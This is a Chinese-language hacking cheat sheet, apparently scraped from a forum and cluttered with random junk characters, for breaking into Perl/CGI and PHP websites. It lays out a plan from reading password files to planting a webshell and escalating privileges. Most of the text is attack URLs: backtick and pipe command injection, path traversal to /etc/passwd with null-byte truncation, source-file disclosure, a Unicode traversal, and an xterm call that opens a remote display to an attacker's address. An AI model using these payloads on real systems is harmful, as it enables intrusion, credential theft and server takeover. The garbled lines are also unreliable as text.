总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
# S2 g+ ]0 o6 S: N$ acookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
& K0 K! |; D j+ K- V' T感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 4 O. C, y. c( U% l
注“
! b! f; v# p: O, P- }3 i7 a* q9 ]perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 6 k# o% n3 R, G5 Q( _' H' C
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
. g. n8 r2 N% h: k
: F u( `# r. m5 L, Hhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
% ^$ w6 Y: l8 m. Ohttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 + X' n O; U. L9 e
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
l' u6 s8 k. A$ Q- z7 bhttp://target.com/cgi-bin/home/news/sub.pl?`id` , F* h1 \, H n$ a- Y
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
2 G$ ~3 P' E( X8 F1 m1 khttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
7 M' _% M7 S9 Z" n2 L; r% p) Y' o+ A @& ~$ M6 \) E
http://target.com/test.pl;ls|
, C7 }2 B; Z7 X3 e' G1 Ghttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
& s }* r% S& V2 Fhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
3 y' z+ ]+ d3 _* ^+ E! G- Phttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
3 a2 _1 O& e' x2 L% c, ]比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
$ b$ f' o6 c- Thttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
; ?; m0 A$ K5 r- a/ w) Z7 B3 \, n( Q" X! t$ p
http://target.com/test.pl?&........ /../../etc/passwd + f4 n |7 d& J( B( M
3 K2 W6 G; [, }# e2 i, uhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
2 {# [" N5 h+ k D$ }& ]9 p- _http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
$ h7 i# I5 G8 s6 h; dhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
* u; c# J! w( w- q# C# g
+ h9 ~0 b- ~; z/ ?0 @/ V8 S$ k# ghttp://www.target.org/show.php?f ... /include/config.php 查看php代码
* z+ i+ a. O% Y$ F: phttp://www.target.org/show.php?f ... ng/admin/global.php
2 F. u5 b7 L1 Y* n6 ]* G. R- o" b, P
emm和ps的一句话# J+ s# Y. r4 O* q5 O X% r
6 B. D$ W+ P L- X. Y* b) E
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
# _8 A9 _/ w: P& F& Y; [- D) M% R* B# e. R" D% h
>bbb%20| , S7 H, p R" J/ C0 x. i" U! b
$ q3 j& q8 o; m4 hhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 8 k! G; k8 W" A( ?: Z) ]9 o) c
1 v* n' _) Y! ~ }3 l: A8 V8 `http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
- ]5 @. Y0 z7 V5 x" @3 ahttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
$ `# V& N5 I4 ^7 {5 g3 D' i3 J2 l3 q
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 : Y* b; j" j" [/ p
http://target.com/index.html#cmd.exe
d5 c9 y( a+ B2 O9 ohttp://target.com/index.html?dummyparam=xp_cmdshell
) u V* k; m& ?5 N. o+ `lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd t# x! [) V p" c
|